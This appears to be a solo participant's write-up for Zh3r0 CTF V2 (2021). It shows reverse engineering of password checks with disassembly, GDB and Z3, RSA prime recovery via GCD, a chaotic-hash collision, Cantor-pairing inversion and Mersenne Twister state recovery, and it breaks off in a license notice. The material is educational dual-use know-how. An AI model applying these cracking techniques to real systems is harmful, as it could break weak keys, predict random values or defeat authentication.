日本語版：Zh3r0 CTF V2 (2021) Writeup - Qiita

About

I participated in Zh3r0 CTF V2 (June 4, 2021 19:30 - June 6, 2021 19:30 (JST:UTC+9)) (CTFtime.org) as an one-person team.
I earned 4678 points and ranked 19th among 509 teams that earned positive points.

Here are challenges I solved and the time I solved them at:

Challenge	Category	Value	Time (JST:UTC+9)
A Small Maniac's game	Miscellaneous	100	6/4 21:36:01
chaos	Cryptography	136	6/5 01:28:00
b00tleg	Cryptography	775	6/5 04:40:05
Sanity	Miscellaneous	1	6/5 05:02:58
1n_jection	Cryptography	304	6/5 05:26:31
Eat Sleep Trace Repeat	Reverse Engineering	365	6/5 06:15:47
sparta	Web	100	6/5 07:41:18
Twist and Shout	Cryptography	718	6/5 08:56:09
Real Mersenne	Cryptography	949	6/5 11:35:43
import numpy as MT	Cryptography	930	6/6 02:02:43
alice_bob_dave	Cryptography	100	6/6 02:52:29
bxxs	Web	100	6/6 03:45:09
BabyRE	Reverse Engineering	100	6/6 05:38:22

survey (a challenge I couldn't solve)

The challenge "survey" was a common chellange in which a link to a Google Form page is given and
a string that looks like the flag is shown after sending my response to the questionnaire.
However, the time limit for this challenge looked very short.
The first blood reported on Discord was 9 minutes before end of the competition, so it looked like published about 10 minutes before end of the competition.
I unfortunately asked to take a bath on that day, and the competition had already ended when I saw the challenge.

The string displayed, which looked like the flag:

zh3r0{खेलने के लिए धन्यवाद}

Seeing the result of Google translation, it seems standing for "thanks for playing".

Challenges I solved

Miscellaneous

Sanity

An invitation URL for Discord was on the challenge description, so I went there.
Then I asked to enter a string on a image by a Discord bot, so I entered that.
I searched for the flag, and found that written as the topic of #general channel.

zh3r0{pepega_welcomes_you}

A Small Maniac's game

An URL for a game was given.
In the game, I was asked to write a program to control the character and navigate that to the ladder.
I got the flag by solving the provided 13 levels and pressing "Submit All Solution" button.

Instructions available

The memory has address 0 to 7.
To access the memory, we should write [address] like [0].
We also can specify the address to access by values in the memory like [[0]].

MOVE distance direction
- Move the character. direction should be 0 to move the character down (up when distance is negative) and 1 to move the character right (left when distance is negative).
READ memory
- Store the number on which the character is to memory.
UNLOCK value
- Open a door next to the character using the value as key. The execution terminates when wrong key is used.
ADD memory value1 value2
- Store the sum of value1 and value2 to memory.
SUB memory value1 value2
- Store the value value1 minus value2 to memory.
MUL memory value1 value2
- Store the product of value1 and value2 to memory.
JMP value
- Execute from the line value.
JMPZ value1 value2
- Execute from the line value1 if value2 is zero.
JMPN value1 value2
- Execute from the line value1 if value2 is negative.
CMP memory value1 value2
- Store the comparison result to memory. The comparison result is 1 when value1 > value2, 0 when value1 = value2, and -1 if value1 < value2.

The levels

level 0

Learn how to use MOVE instruction.

level 1

Practice how to use MOVE instruction.

level 2

Learn how to use READ and UNLOCK instructions.

level 3

Learn how to use ADD, SUB, and MUL instructions.

level 4

Practice how to use JMP instruction.

level 5

Decide the route to go according to the value.

level 6

Learn how to use JMPZ and JMPN instructions.

level 7

Calculate the value of the expression. The value written in left is a, up is b, and right is c.
(This relations of positions and variables are given)

level 8

Calculate the quotient by dividing the value in left by the value in right.
It is unknown what to do when the values are not divisible.
Specifically, I used the following algorithm. The quotient is initialized to zero in the beginning.

Read the dividend and the divisor.
Subtract the divisor from the dividend.
Output the quotient and stop when the result of subtraction is negative.
Add one to the quotient.
Go back to 2.

level 9

Calculate the value of the expression written using the value written as x (with subroutines).
I used the address 6 as where to return.
Reading of the value, calculation, unlocking and moving are done in line 6 to line 13.

level 10

Learn that the address to access can be specified using values in the memory.

level 11

Learn that the address 7 has the number of squares moved.

level 12

Perform a primarity test.

line 3 to 5 : Judge values less than 2 as "not prime".
line 6 to 15 : Perform a primarity test by trial division.
- line 8 to 10 : Judge as "prime" when the divisor exceeds the number to judge.
- line 11 to 15 : Perform a division.
  - line 13 : Proceed to the next divisor when the result of subtraction of the divisor becomes negative (not divisible).
  - line 14 : Judge as "not prime" when the result of subtraction of the divisor becomes zero (divisible).

flag

zh3r0{s0m3t1m3s_4SM_c4N_g1b_bUrn5}

Binary Exploitation

Unfortunately I could solve no problems in this category.

Reverse Engineering

BabyRE

An ELF file was given.
When I ran that on CS50 IDE, I was asked to enter a password in a GUI on the terminal.
It showed "INCORRECT PASSWORD" when I entered some random password and hit the Enter key as a test.

I disassembled the ELF file via objdump in TDM-GCC and examined that with seeing the relations between the addresses and the strings.
As a result, I found that "CORRECT PASSWORD" is shown around the address 0x164e and "INCORRECT PASSWORD" is shown around the address 0x168e.

The dump of that part

    1645:   44 89 e2                mov    %r12d,%edx
    1648:   44 89 ee                mov    %r13d,%esi
    164b:   48 89 ef                mov    %rbp,%rdi
    164e:   48 8d 0d af 09 00 00    lea    0x9af(%rip),%rcx        # 2004 <usleep@plt+0xc54>
    1655:   31 c0                   xor    %eax,%eax
    1657:   e8 54 fc ff ff          callq  12b0 <mvwprintw@plt>
    165c:   31 d2                   xor    %edx,%edx
    165e:   be 00 01 00 00          mov    $0x100,%esi
    1663:   48 83 c4 08             add    $0x8,%rsp
    1667:   48 89 ef                mov    %rbp,%rdi
    166a:   5b                      pop    %rbx
    166b:   5d                      pop    %rbp
    166c:   41 5c                   pop    %r12
    166e:   41 5d                   pop    %r13
    1670:   e9 1b fd ff ff          jmpq   1390 <wattr_off@plt>
    1675:   0f 1f 00                nopl   (%rax)
    1678:   be 00 04 00 00          mov    $0x400,%esi
    167d:   48 89 ef                mov    %rbp,%rdi
    1680:   e8 6b fc ff ff          callq  12f0 <wattr_on@plt>
    1685:   44 89 e2                mov    %r12d,%edx
    1688:   44 89 ee                mov    %r13d,%esi
    168b:   48 89 ef                mov    %rbp,%rdi
    168e:   48 8d 0d 82 09 00 00    lea    0x982(%rip),%rcx        # 2017 <usleep@plt+0xc67>
    1695:   31 c0                   xor    %eax,%eax
    1697:   e8 14 fc ff ff          callq  12b0 <mvwprintw@plt>

I also found that, on the address 0x162c, it calls the function on the address 0x1560 and jump to the address 0x1678, which goes to the address 0x168e, when the return value is not zero.

The function on the address 0x1560 was doing this:

Check if the length given as the first argument i 0x20 via strlen function.
Divide the input data into 8-byte blocks and process that using the function on the address 0x14d0.
Check if the results of processing are expected via memcmp function.

This is the function on the address 0x14d0:

The dump of the function

    14d0:   f3 0f 1e fa             endbr64 
    14d4:   48 83 ec 18             sub    $0x18,%rsp
    14d8:   45 31 d2                xor    %r10d,%r10d
    14db:   31 f6                   xor    %esi,%esi
    14dd:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    14e4:   00 00 
    14e6:   48 89 44 24 08          mov    %rax,0x8(%rsp)
    14eb:   31 c0                   xor    %eax,%eax
    14ed:   48 c7 04 24 00 00 00    movq   $0x0,(%rsp)
    14f4:   00 
    14f5:   49 89 e3                mov    %rsp,%r11
    14f8:   4c 8d 4c 24 08          lea    0x8(%rsp),%r9
    14fd:   0f 1f 00                nopl   (%rax)
    1500:   46 0f b6 04 17          movzbl (%rdi,%r10,1),%r8d
    1505:   44 89 d1                mov    %r10d,%ecx
    1508:   4c 89 d8                mov    %r11,%rax
    150b:   eb 06                   jmp    1513 <usleep@plt+0x163>
    150d:   0f 1f 00                nopl   (%rax)
    1510:   0f b6 30                movzbl (%rax),%esi
    1513:   44 89 c2                mov    %r8d,%edx
    1516:   48 83 c0 01             add    $0x1,%rax
    151a:   41 d0 e8                shr    %r8b
    151d:   83 e2 01                and    $0x1,%edx
    1520:   d3 e2                   shl    %cl,%edx
    1522:   09 f2                   or     %esi,%edx
    1524:   88 50 ff                mov    %dl,-0x1(%rax)
    1527:   49 39 c1                cmp    %rax,%r9
    152a:   75 e4                   jne    1510 <usleep@plt+0x160>
    152c:   49 83 c2 01             add    $0x1,%r10
    1530:   49 83 fa 08             cmp    $0x8,%r10
    1534:   74 0a                   je     1540 <usleep@plt+0x190>
    1536:   0f b6 34 24             movzbl (%rsp),%esi
    153a:   eb c4                   jmp    1500 <usleep@plt+0x150>
    153c:   0f 1f 40 00             nopl   0x0(%rax)
    1540:   48 8b 7c 24 08          mov    0x8(%rsp),%rdi
    1545:   64 48 33 3c 25 28 00    xor    %fs:0x28,%rdi
    154c:   00 00 
    154e:   48 8b 04 24             mov    (%rsp),%rax
    1552:   75 05                   jne    1559 <usleep@plt+0x1a9>
    1554:   48 83 c4 18             add    $0x18,%rsp
    1558:   c3                      retq   
    1559:   e8 22 fd ff ff          callq  1280 <__stack_chk_fail@plt>

Expressing in C, it looked like a process like this:

Transcription 1

uint64_t func_14d0(char* rdi) {
    uint32_t r10d = 0;
    uint32_t esi = 0;
    uint64_t mem_rsp = 0;
    uint64_t rsp = (uint64_t)&mem_rsp;
    /* 14f5 */
    uint64_t r11 = rsp;
    uint64_t r9 = rsp + 8;
    do {
        uint32_t r8d = (uint8_t)rdi[r10];
        /* 1505 */
        uint32_t ecx = r10d;
        uint64_t rax = r11;
        do {
            /* 1513 */
            uint32_t edx = r8d;
            rax += 1;
            r8d = (r8d & 0xffffff00) | ((r8d & 0xff) >> 1);
            edx &= 1;
            edx <<= ecx;
            edx |= esi;
            *(uint8_t)(rax - 1) = edx;
            /* 1527 */
        } while (r9 != rax && (esi = *(uint8_t)rax, 1));
        /* 152c */
        r10 += 1;
    } while (r10 != 0x8 && (esi = *(uint8_t)rsp, 1));
    return mem_rsp;
}

Making it more readable, it looked like a process like this:

Transcription 2

uint64_t func_14d0(char* rdi) {
    int i, j;
    union {
        uint8_t a[8];
        uint64_t i;
    } ret;
    ret.i = 0;
    for(i = 0; i < 8; i++) {
        uint8_t r8 = rdi[i];
        for (j = 0; j < 8; j++) {
            uint8_t edx = r8;
            r8 >>= 1;
            ret.a[j] = ((edx & 1) << i) | ret.a[j];
        }
    }
    return ret.i;
}

I could read the arguments passed to the memcmp function and the values stored there by attacking the process corresponding to the ELF file via GDB on CS50 IDE and setting a breakpoint at the address 0x154d (calling the memcmp function).
I compared the lowest 3 digits from the output of where command (on GDB) with the address in dump and searched for some meaningful relations.
As a result, I obtained the address to set the breakpoint by assuming that an address with the lowest digits 3d1 corresponds to the address 0x13d1.

Using the expected values, I used Z3 to retrieve the input corresponding to them.

A program to retrieve the corresponding inputs

solve.py

import z3

targets = [
    0x00ab7ffda3c0ada4, 0x00fdbfda48e2d5e8,
    0x0076bf7bc4f240d1, 0x00fd82aeadd50787
]

def solve(target):
    s = z3.Solver()
    rdi = [z3.BitVec("c" + str(i), 8) for i in range(8)]
    ret = [0 for i in range(8)]
    for i in range(8):
        r8 = rdi[i]
        for j in range(8):
            edx = r8
            r8 = z3.LShR(r8, 1)
            ret[j] = ((edx & 1) << i) | ret[j]
    for i in range(8):
        s.add(ret[i] == ((target >> (8 * i)) & 0xff))
    res = s.check()
    if res == z3.sat:
        m = s.model()
        return [m[v].as_long() for v in rdi]
    else:
        raise Exception(str(res))

ans = ""

for t in targets:
    res = solve(t)
    print(res)
    for c in res:
        ans += chr(c)

print(ans)

As a result, the data obtained was the flag.

zh3r0{4_b4byre_w1th0ut_-O3_XDXD}

Eat Sleep Trace Repeat

A text data was given. It looked like a list of instructions executed and their addresses.
I got the following program by sorting the lines in ascending order and removing duplicate lines via Sakura Editor.

The program recovered

0x401000 : call 0x401068
0x401005 : push rbp
0x401006 : mov rbp, rsp
0x401009 : xor rax, rax
0x40100c : xor rdi, rdi
0x40100f : lea rsi, ptr [0x402808]
0x401017 : mov edx, 0x64
0x40101c : syscall 
0x40101e : mov rsp, rbp
0x401021 : pop rbp
0x401022 : ret 
0x401023 : mov rcx, qword ptr [0x402000]
0x40102b : mov rdx, rcx
0x40102e : shr rdx, 0xc
0x401032 : xor rcx, rdx
0x401035 : mov rdx, rcx
0x401038 : shl rdx, 0x19
0x40103c : xor rcx, rdx
0x40103f : mov rdx, rcx
0x401042 : shr rdx, 0x1b
0x401046 : xor rcx, rdx
0x401049 : mov rax, 0x2545f4914f6cdd1d
0x401053 : mul rcx
0x401056 : mov qword ptr [0x402000], rcx
0x40105e : ret 
0x40105f : mov qword ptr [0x402000], rdi
0x401067 : ret 
0x401068 : mov eax, 0x1
0x40106d : mov rdi, rax
0x401070 : lea rsi, ptr [0x4028d0]
0x401078 : mov edx, 0x10
0x40107d : syscall 
0x40107f : call 0x401005
0x401084 : mov edi, 0x41424344
0x401089 : call 0x40105f
0x40108e : mov ecx, 0x800
0x401093 : xor r15, r15
0x401096 : test rcx, rcx
0x401099 : jz 0x4010b1
0x40109b : push rcx
0x40109c : call 0x401023
0x4010a1 : pop rcx
0x4010a2 : mov byte ptr [r15+0x402008], al
0x4010a9 : inc r15
0x4010ac : dec rcx
0x4010af : jmp 0x401096
0x4010b1 : mov esi, 0x0
0x4010b6 : mov dil, byte ptr [rsi+0x402808]
0x4010bd : call 0x401106
0x4010c2 : cmp rax, 0xffffffffffffffff
0x4010c6 : jz 0x4010fa
0x4010c8 : mov byte ptr [rsi+0x40286c], al
0x4010ce : inc rsi
0x4010d1 : cmp sil, 0x64
0x4010d5 : jnz 0x4010b6
0x4010d7 : mov eax, 0x1
0x4010dc : mov rdi, rax
0x4010df : lea rsi, ptr [0x4028e1]
0x4010e7 : mov edx, 0x10
0x4010ec : syscall 
0x4010ee : mov eax, 0x3c
0x4010f3 : mov edi, 0x0
0x4010f8 : syscall 
0x401106 : push rbp
0x401107 : mov rbp, rsp
0x40110a : mov rbx, rdi
0x40110d : xor rdx, rdx
0x401110 : mov al, byte ptr [rdx+0x402008]
0x401116 : inc rdx
0x401119 : cmp rdx, 0x7ff
0x401120 : jz 0x401131
0x401122 : cmp al, bl
0x401124 : jnz 0x401110
0x401126 : dec rdx
0x401129 : mov rax, rdx
0x40112c : mov rsp, rbp
0x40112f : pop rbp
0x401130 : ret

I transcripted this to C and the result is:

Transcription 1

#include <inttypes.h>
#include <unistd.h>

uint64_t func_401106(uint64_t rdi);

uint64_t mem_402000;
uint8_t mem_402808[4096];
uint8_t mem_4028d0[4096];
uint8_t mem_402008[4096];
uint8_t mem_40286c[4096];
uint8_t mem_4028e1[4096];

void func_401005(void) {
    read(0, mem_402808, 0x64);
}

uint64_t func_401023(void) {
    uint64_t rax, rcx, rdx;
    rcx = mem_402000;
    rdx = rcx;
    rdx >>= 0xc;
    rcx ^= rdx;
    rdx = rcx;
    rdx <<= 0x19;
    rcx ^= rdx;
    rdx = rcx;
    rdx >>= 0x1b;
    rcx ^= rdx;
    rax = rcx * UINT64_C(0x2545f4914f6cdd1d);
    mem_402000 = rcx;
    return rax;
}

void func_40105f(uint64_t rdi) {
    mem_402000 = rdi;
}

void func_401068(void) {
    uint64_t rcx, r15, rsi, rax;
    syscall(1, mem_4028d0, 0x10);
    func_401005();
    func_40105f(0x41424344);
    rcx = 0x800;
    r15 = 0;
    label_401096:
    if (rcx == 0) goto label_4010b1;
    mem_402008[r15] = (uint8_t)func_401023();
    r15++;
    rcx--;
    goto label_401096;
    label_4010b1:
    rsi = 0x0;
    label_0x4010b6:
    rax = func_401106(mem_402808[rsi]);
    if (rax == UINT64_C(0xffffffffffffffff)) goto label_4010fa;
    mem_40286c[rsi] = (uint8_t)rax;
    rsi++;
    if ((uint8_t)rsi != 0x64) goto label_0x4010b6;
    /* 4010d7 */
    write(1, mem_4028e1, 0x10);
    /* 4010ee */
    _exit(0);
    label_4010fa:
    ; /* not shown */
}

uint64_t func_401106(uint64_t rdi) {
    uint64_t rax, rbx, rdx;
    rbx = rdi;
    rdx = 0;
    label_0x401110:
    rax = mem_402008[rdx];
    rdx++;
    if (rdx == 0x7ff) goto label_401131;
    if ((uint8_t)rax != (uint8_t)rbx) goto label_0x401110;
    rdx--;
    rax = rdx;
    return rax;
    label_401131;
    ; /* not shown */
}

I made it more readable and the result is:

Transcription 2

#include <inttypes.h>
#include <unistd.h>

uint64_t search(uint8_t target);

uint64_t rng_status;
uint8_t input_buffer[4096];
uint8_t message1[4096];
uint8_t random_data[4096];
uint8_t found_data[4096];
uint8_t message2[4096];

void read_data(void) {
    read(0, input_buffer, 0x64);
}

uint64_t rng_get(void) {
    uint64_t work;
    work = rng_status;
    work ^= (work >> 0xc);
    work ^= (work << 0x19);
    work ^= (work >> 0x1b);
    rng_status = work;
    return work * UINT64_C(0x2545f4914f6cdd1d);
}

void rng_seed(uint64_t seed) {
    rng_status = seed;
}

void entry(void) {
    uint64_t i, pos;
    uint64_t rcx, r15, rsi, rax;
    syscall(1, message1, 0x10);
    read_data();
    rng_seed(0x41424344);

    for (i = 0x800, pos = 0; i != 0; i--) {
        random_data[pos++] = (uint8_t)rng_get();
    }

    for (i = 0; i != 0x64; i++) {
        uint64_t res = search(input_buffer[i]);
        if (res == UINT64_C(0xffffffffffffffff)) {
            /* not shown */
            for(;;);
        }
        found_data[rsi] = (uint8_t)res;
    }
    write(1, message2, 0x10);
    _exit(0);
}

uint64_t search(uint8_t target) {
    uint64_t i = 0;
    for (;;) {
        uint8_t c = random_data[i++];
        if (i == 0x7ff) {
            /* not shown */
            return UINT64_C(0xdeadbeef);
        }
        if (c == target) {
            return i - 1;
        }
    }
}

This looks like a program that searches each bytes in the input from a random sequence and stores the results.
Testing with the program below, I found that the sequence contains all 8-bit unsigned integers.

A program that print the sequence and check if each integers are included in that

rng_test.c

#include <stdio.h>
#include <inttypes.h>

uint64_t rng_status;

uint64_t rng_get(void) {
    uint64_t work;
    work = rng_status;
    work ^= (work >> 0xc);
    work ^= (work << 0x19);
    work ^= (work >> 0x1b);
    rng_status = work;
    return work * UINT64_C(0x2545f4914f6cdd1d);
}

void rng_seed(uint64_t seed) {
    rng_status = seed;
}

int main(void) {
    char visited[256] = "";
    rng_seed(0x41424344);

    for (int i = 0; i < 0x800; i++) {
        int x = (int)(uint8_t)rng_get();
        printf("%d\n", x);
        visited[x] = 1;
    }
    for (int i = 0; i < 256; i++) {
        putchar(visited[i] ? 'x' : '.');
    }
    return 0;
}

Now we want to recover the input from the information we currently have.
We can obtain the results of search using the list of instructions firstly given.
This can be achieved by calculating how many times the counter is incremented between enter and exit of the search function.

A program to obtain return values of the search function

parse.pl

#!/usr/bin/perl

use strict;
use warnings;

my $count = 0;

while (my $line = <STDIN>) {
    my ($addr, $other) = split(/ : /, $line);
    if ($addr eq "0x40110d") {
        $count = 0;
    } elsif ($addr eq "0x401116") {
        $count++;
    } elsif ($addr eq "0x401126") {
        printf("%d\n", $count - 1);
    }
}

Using the list of return values of the search function and the random sequence, we can recover the input.

A program to recover the input

solve.pl

#!/usr/bin/perl

use strict;
use warnings;

my @rng_res = ();
open(RNG, "< rng_test-out.txt") or die;
while (my $line = <RNG>) {
    chomp($line);
    if ($line =~ /\A\d+\z/) {
        push(@rng_res, int($line));
    }
}
close(RNG);

my @parse_res = ();
open(PARSE, "< parse-res.txt") or die;
while (my $line = <PARSE>) {
    printf("%c", $rng_res[int($line)]);
}
close(PARSE);
print "\n";

zh3r0{d1d_y0u_enjoyed_r3v3rs1ng_w1th0ut_b1n4ry_?}

Cryptography

alice_bob_dave

A program that does the following calculation and its output were given.

Get a constant e=65537, 1024-bit prime numbers p,q,r, and numbers standing for the message pt_a,pt_b
Calculate the reciprocal of e modulo (p-1)*(q-1) as d_a
Calculate the reciprocal of e modulo (p-1)*(r-1) as d_b
Calculate pt_a to the eth power modulo p*q as ct_a
Calculate pt_b to the eth power modulo p*r as ct_b

The given output was:

ct_a=1991374644522844726604723395302447678829362766488998002689642863876589167224123634868869407586265887639572846618361378190717796457675877867002990630200549839187693737176043693114429036857443618075597595356236777647214186597416429862630588853297534066191784060030827904725960955181749644590885127762513958644117342351741609981560458367036971039921421548984093411630930209440031060634872093143755813835906517674672118355461511837533783279547447855290393938723966500874359457216314821548439555245649159786182924722770460929014017979622168454175758261065999271764594369618940918533185330319317089809708951104047147411596
ct_b=11560415492145861207516424108577715664730529386805857287246533744961821151018194362544284902991666685182413092786353089517543091603274250128250910669110530206320138191614471688310529571895441809729559056935543845898702106837033971935287923495445981173899073238286288875669342754013550227359718814123485311705960547980778357375585882146296937739196745327987012437076826111202650212821723168353665944362122152786549834258495316372518691633486765982945106049194892430437710982481105051765183397588927444843790029563399175420351710322220501327577415113508236805750358567711052779340011355629159610689505604941700815518380
d_a=12007894588345817095001901772235818535532128075248502006167506715501613386280619988757005912270381074208611126718938214462213079931302423653355153363846803336576965899104058007549509604040316897464770127372797630135493394807353800174267249408200186888724103432412296802728616667116382243738519746110159825921676647202689661952040602841752466515868580858475210918168761862255041985423595605698941150797550252491451770611246462256935118062094973933183288422900540413805923476283359196218128607678993284504582128505198491110084905108072190837781925478455984417366202863689318005069821086805269764308054632708127147397685
d_b=15309121030008789112453654624398278092026139678301334759817236349957760197277968332173160272007689043235997494440248487531238644015060915059836861728115118555482791561589562225055947155368216166612774271639118879220806859714069050410034235487298164832205885978355955618431606156727831992132535894020870312453902803351757466444078059503362362343138846985263572980446344678973847354860739168547872456538618897496981232096868408852088578700314051200160980186449222946973789039336701174360592471866811887750298968395798446811465432587371913161943176018766518394820191044593922558127924048562996714970537749736086175516533
e=65537

Since d_a and d_b are the reciprocal of e, they can be expressed using some integers hoge1 and hoge2 like this:

e * d_a == hoge1 * ((p-1)*(q-1)) + 1
e * d_b == hoge2 * ((p-1)*(r-1)) + 1

This implies:

hoge1 * (p-1) * (q-1) == e * d_a - 1
hoge2 * (p-1) * (r-1) == e * d_b - 1

Therefore, the greatest common divisor of e * d_a - 1 and e * d_b - 1 is a multiple of p-1.

This greatest common divisor is:

1063674784897149990359668699718471130138210187735367649430043494704446119726399134598128757909584679831926492357718602564233801979897366986055094675176840339284000611158244788448799456009499061900373083529001714824292921023704494926141676352020474793949930704354415623841306024461826411230448291945896587096972

and its binary logarithm was about 1026.56.

The prime number p should be 1024-bit long, so there looks like a few extra bits.
I divided the number by small integers and checked for primarity after adding one when they can divided.
I used this for primarity test (Japanese page): 巨大数向け素数判定機 - instant tools

As a result, trying numbers from 2 to 1000 as the divisor, only this number (divided by 6 and added one)

177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163

was judged as "probably prime". Therefore I assumed that this is the prime number p.

Then, from this expression:

hoge1 * (p-1) * (q-1) == e * d_a - 1

We can get this expression:

(e * d_a - 1) / (p-1) == hoge1 * (q-1)

and we can see a multiple of q-1. The value is

4439109014204074880496681600978838415162548241966597861044829103033998899476792246936766381662485311079037525893642252558644187815383799425046177251935134882238733003448788817295856797705945107852493812420719637192501830180727307768442674256794164003420441243453015931578008974736312772968433473928239439066207962

and its binary logarithm was about 1038.59.

Trying integers from 1 << 13 and 1 << 15 as divisor, this number (divided by 28477 and added one)

155884012157322571917571429609117477794801005792976713173607792359939561733216007547732077875565730627490168412882054028115468195925968305125054508969875158276459353283308944667481012666571096247936714275405402155862690247593753125976847078582510938772358086998385220759841590572613434454768180423789003022307

is judged as "probably prime" and I assumed that this is the prime number q.

In the same way, I assumed that the prime number r is:

152403791625721851654120555560673744553701328109255879726337480096744356018547509475023868657897447439271501318332177621761545812231960220886709355355570370122257259486344955476929483307543879747176492652883512877777163462444499810416443763758426816456424484060280743786614239115245058838657579029682477426407

I calculated ct_a to the d_ath power modulo p*q and the result is:

0x48657920446176652069747320416c69636520686572652e4d7920666c6167206973207a683372307b4743445f63306d33735f

Decoding this via "From Hex" in CyberChef, I obtained this message:

Hey Dave its Alice here.My flag is zh3r0{GCD_c0m3s_

I calculated ct_b to the d_bth power modulo p*r and the result is:

0x48657920446176652069747320426f6220686572652e4d7920666c61672069732037305f5233734375655f333734323938367d

and this turned into a message:

Hey Dave its Bob here.My flag is 70_R3sCue_3742986}

I got the flag from these messages.

zh3r0{GCD_c0m3s_70_R3sCue_3742986}

chaos

Information to connect to a TCP server and a program running there were given.
The program calculates hash values of two inputs and print the flag when the input differs and the hash values are the same.

I googled 0x0124fdce, which was a first magic value used in the hash calculation.
I found Collisions in the Original Version of a Chaotic Hash Function and this looked like about the same algorithm.

I got the flag by entering "The first input"

0124fdce89ab57eaba89370afedc45ef401ab257b7cd34e176b3a27cf13c3adf

and "Complementing entire first input"

fedb02317654a8154576c8f50123ba10bfe54da84832cb1e894c5d830ec3c520

in the document.

zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}

1n_jection

A Python source code was given and its output was written there as a comment.
This program outputs the return value of following function with the flag given as the argument:

When the input is one-element list, return the element.
When the input is two-element list, return ((i+j)*(i+j+1))//2 +j for the list [i, j].
Otherwise, return function([function(former half of the input), function(latter half of the input)])

I ran wolfram command on my Raspberry Pi (Raspbian) and had it calculate

Solve[(i+j) * (i+j+1) == (value - j) * 2 && i > 0 && j > 0, {i, j}, Integers]

with value being the return value of the function.
I could retrieve the values of elements in the two-element list from the return value in this way.
Repeating this manually until the values looks like standing for a character, I could obtain the list initially given.

The result

2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585
    2278834357980551260265893505361407822452682233302364523894857044741892783229529282237100284183509698213837939146481400378598979682679
        2134868244312941386703277767042670355929943244119099314950552922690
            1537065234166657769219388838655937
                55444840826037027
                    332987772
                        25755
                            122
                            104
                        51
                    13251
                        114
                        48
                848669877
                    29522
                        123
                        119
                    11676
                        104
                        48
            529268835780862302741627946795014
                32535175364785590
                    255075095
                        22482
                            95
                            116
                        104
                    13812
                        48
                        117
                546245298
                    21632
                        103
                        104
                    11420
                        55
                        95
        1474419586450856126403100549320874907584932688256725964981793
            1717218440647362925299672185642
                1853223210706360
                    60869167
                        10927
                            98
                            49
                        106
                    11424
                        51
                        99
                165277961
                    5509
                        55
                        49
                    12671
                        48
                        110
            684696523628109948
                601080006
                    11121
                        53
                        95
                    23550
                        102
                        114
                569130678
                    12512
                        48
                        109
                    21225
                        95
                        110
    529377795079622267532991398642193204133249743982708830397008281794348705646419161299403271050129547692658261326245143632688654825
        32538524705712852729154545286627993152555443207602046242682691405
            244077127246765824979234452716472
                22094212335300813
                    210196851
                        20408
                            94
                            107
                        95
                    13578
                        116
                        48
                809627694
                    21225
                        95
                        110
                    19014
                        95
                        99
            11024910007791798160226223316554
                4695723027042806
                    96890268
                        13812
                            48
                            117
                        108
                    19205
                        100
                        95
                561030026
                    11226
                        98
                        51
                    22270
                        95
                        115
        2073831665380255847491873777679475190685506007741655740
            2036581285021494171117338190
                63821051900844
                    11293176
                        4704
                            48
                            48
                        48
                    4704
                        48
                        48
                281288325
                    19014
                        95
                        99
                    4704
                        48
                        48
            64007073674969987
                44264640
                    4704
                        48
                        48
                    4704
                        48
                        48
                313526006
                    12354
                        48
                        108
                    12686
                        33
                        125

I got the flag by collecting the leaf values and converting them to a string.

A program to collect the values

get.pl

#!/usr/bin/perl

use strict;
use warnings;

while (my $line = <STDIN>) {
    if ($line =~ /(\d+)/) {
        my $c = int($1);
        if ($c < 256) {
            print chr($c);
        }
    }
}
print "\n";

zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_n^k_t0_n_c0uld_b3_s00000_c0000000l!}

Twist and Shout

Information to connect to a TCP server and a program running there were given.
The program does following:

Create a 624-element tuple state from data that contains the flag.
Execute random.setstate((3,state+(624,),None)).
Output the return value of random.getrandbits(32) 624 times.

Referring these:
cpython/random.py at main · python/cpython · GitHub
cpython/_randommodule.c at main · python/cpython · GitHub
random.setstate looked like storing the tuple directly as the internal state of Mersenne Twister.
Also random.getrandbits(32) looked like returning unprocessed return values of genrand_uint32.
Actually I cound obtain the value returned from random.getrandbits(32) from Mersenne Twister by initializing the internal state of Mersenne Twister using the values obtained from random.getstate().

Based on these, I ported Mersenne Twister to Python and used Z3 to calculate the initial internal state from the random sequence.

A program to calculate the initial internal state from the random sequence

solve.py

import z3
import sys

def getBV(name):
    return z3.BitVec(name, 32)

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N

def genrand_int32():
    global mti
    if mti >= N:
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + M] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + (M-N)] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        mt[N - 1] = mt[M - 1] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
        mti = 0
    y = mt[mti]
    mti = mti + 1
    y = y ^ z3.LShR(y, 11)
    y = y ^ ((y << 7) & 0x9d2c5680)
    y = y ^ ((y << 15) & 0xefc60000)
    y = y ^ z3.LShR(y, 18)
    return y

s = z3.Solver()

for l in sys.stdin.readlines():
    data = l.rstrip()
    if len(data) > 0:
        value = int(data)
        s.add(genrand_int32() == value)

res = s.check()

if res == z3.sat:
    m = s.model()
    for v in mt_vars:
        print(hex(m[v].as_long()))
else:
    print(res)

About the original code for porting

I used mt19937.c in mt19937ar: Mersenne Twister with improved initialization as the original.

License information in the original:

   Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
   All rights reserved.                          

   Redistribution and use in source and binary forms, with or without
   modification, are permitted provided that the following conditions
   are met:

     1. Redistributions of source code must retain the above copyright
        notice, this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
        notice, this list of conditions and the following disclaimer in the
        documentation and/or other materials provided with the distribution.

     3. The names of its contributors may not be used to endorse or promote 
